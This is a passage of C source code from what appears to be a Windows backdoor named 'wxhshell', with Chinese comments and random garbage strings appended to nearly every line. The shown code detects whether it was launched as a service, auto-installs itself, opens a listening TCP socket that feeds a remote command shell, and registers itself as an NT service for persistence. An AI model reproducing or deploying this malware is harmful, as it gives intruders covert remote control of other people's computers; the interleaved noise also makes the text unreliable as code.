} PROCESS_BASIC_INFORMATION; JG=U@I]
aAX(M=3
PROCNTQSIP NtQueryInformationProcess; 9WH
)]?"H
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |{8eoF
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (VxWa#P
7Vd"AVn}g
HANDLE hProcess; "7T9d)
PROCESS_BASIC_INFORMATION pbi; kroO~(\
edW:(19}
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z}
8m]I
if(NULL == hInst ) return 0; 0f<$S$~h
ee=d*)
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <&$:$_ah
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1tNmiAu
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HYkZMVH{
pzPm(M1^X
if (!NtQueryInformationProcess) return 0; l"-F<^
U
%?7j
Q
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]_ON\v1
if(!hProcess) return 0; :$#";t|
9W[ ~c"Ku
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I>jDM
?\l@k(w4[x
CloseHandle(hProcess); @6roW\'$
#el i_Cxe
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -brn&1oJ
if(hProcess==NULL) return 0; F9SkEf]99
mJ3|UClPS
HMODULE hMod; xqua>!mqS
char procName[255]; {{\
d5CkX
unsigned long cbNeeded; pM^r8kIH
6,*o;<k[
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iB:](Md'r
F5#P{zk|
CloseHandle(hProcess); 9Fkzt=(E~
S1R:/9
z
if(strstr(procName,"services")) return 1; // 以服务启动 nDhD"rc
]} +
NT
return 0; // 注册表启动 V+M=@Pvp9
} #!WD1a?L
AxOn~fZ!
// 主模块 hu
G]kv3F:
int StartWxhshell(LPSTR lpCmdLine) *{y/ wgX
{ >J \} &!8,
SOCKET wsl; `XJU$c
BOOL val=TRUE; r3hUa4^97
int port=0; -]?F
struct sockaddr_in door; $g?`yE(K
3%JPJuNVw
if(wscfg.ws_autoins) Install(); m R3km1T
n;eK2+}]
port=atoi(lpCmdLine); wV9[Jl\Z
Hz&.]yts2J
if(port<=0) port=wscfg.ws_port; (RL5L=,u
#SzCd&hI
WSADATA data; <L72nwcK
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "s6O|=^*
42Gv]X
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; "t{|e6
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v/4Bt2J
door.sin_family = AF_INET; /puM3ZN
door.sin_addr.s_addr = inet_addr("127.0.0.1"); lP!`lhc-^
door.sin_port = htons(port); A7;|~??
q0oNRAvn"
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1i.t^PY
closesocket(wsl); nI-^
return 1; ;JK!dzi}
} <oE(I)r4,
UY_'F5X
if(listen(wsl,2) == INVALID_SOCKET) { !1:364
closesocket(wsl); {hr+ENgV
return 1; Wa8?o~0"L
} 0 ;b%@_E
Wxhshell(wsl); J(\]3 9y
WSACleanup(); m|RA@sY%`
;n9r;$!f
return 0; \s.c.c*eh;
Y+k)d^6r
} &wlSOC')j
?E@9Nvr
// 以NT服务方式启动 ,~!rn}MI<
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Sc<%$ Gd
{ +~6gP!
DWORD status = 0; Wm5/>Cu,
DWORD specificError = 0xfffffff; H!D?;X
vsjl8L
serviceStatus.dwServiceType = SERVICE_WIN32; O>=D1no*
serviceStatus.dwCurrentState = SERVICE_START_PENDING; )V}u}5
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .H,wdzg)
serviceStatus.dwWin32ExitCode = 0; `XwFH#_
serviceStatus.dwServiceSpecificExitCode = 0; /A U&
X
serviceStatus.dwCheckPoint = 0; $6ZO
V/0
serviceStatus.dwWaitHint = 0; 6S;-fj
f$lf(brQ:
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ol,Tw=?
if (hServiceStatusHandle==0) return; qc*z`Wz:
SWX;sM
status = GetLastError(); 9`/\|t|V
if (status!=NO_ERROR) (W7cQ>
{ =%4vrY
`
serviceStatus.dwCurrentState = SERVICE_STOPPED; 7>g^OE f
serviceStatus.dwCheckPoint = 0; 'NM$<<0
serviceStatus.dwWaitHint = 0; +v 9@du
serviceStatus.dwWin32ExitCode = status; 'g8~ uP
serviceStatus.dwServiceSpecificExitCode = specificError; DQ{Yr>J
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 26YY1T\B)
return; L}bS"=B[&W
} ? jywW$
!+?,y/*5(
serviceStatus.dwCurrentState = SERVICE_RUNNING; ,FvBZ.4c3=
serviceStatus.dwCheckPoint = 0; :
kVEB<G
serviceStatus.dwWaitHint = 0; .c[v /SB]
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); MCOz-8@|Y
} ^K4#_H#"
r@_`ob RW;
// 处理NT服务事件,比如:启动、停止 aj1o
VOID WINAPI NTServiceHandler(DWORD fdwControl) >Lh+(M;+F
{ 'J&&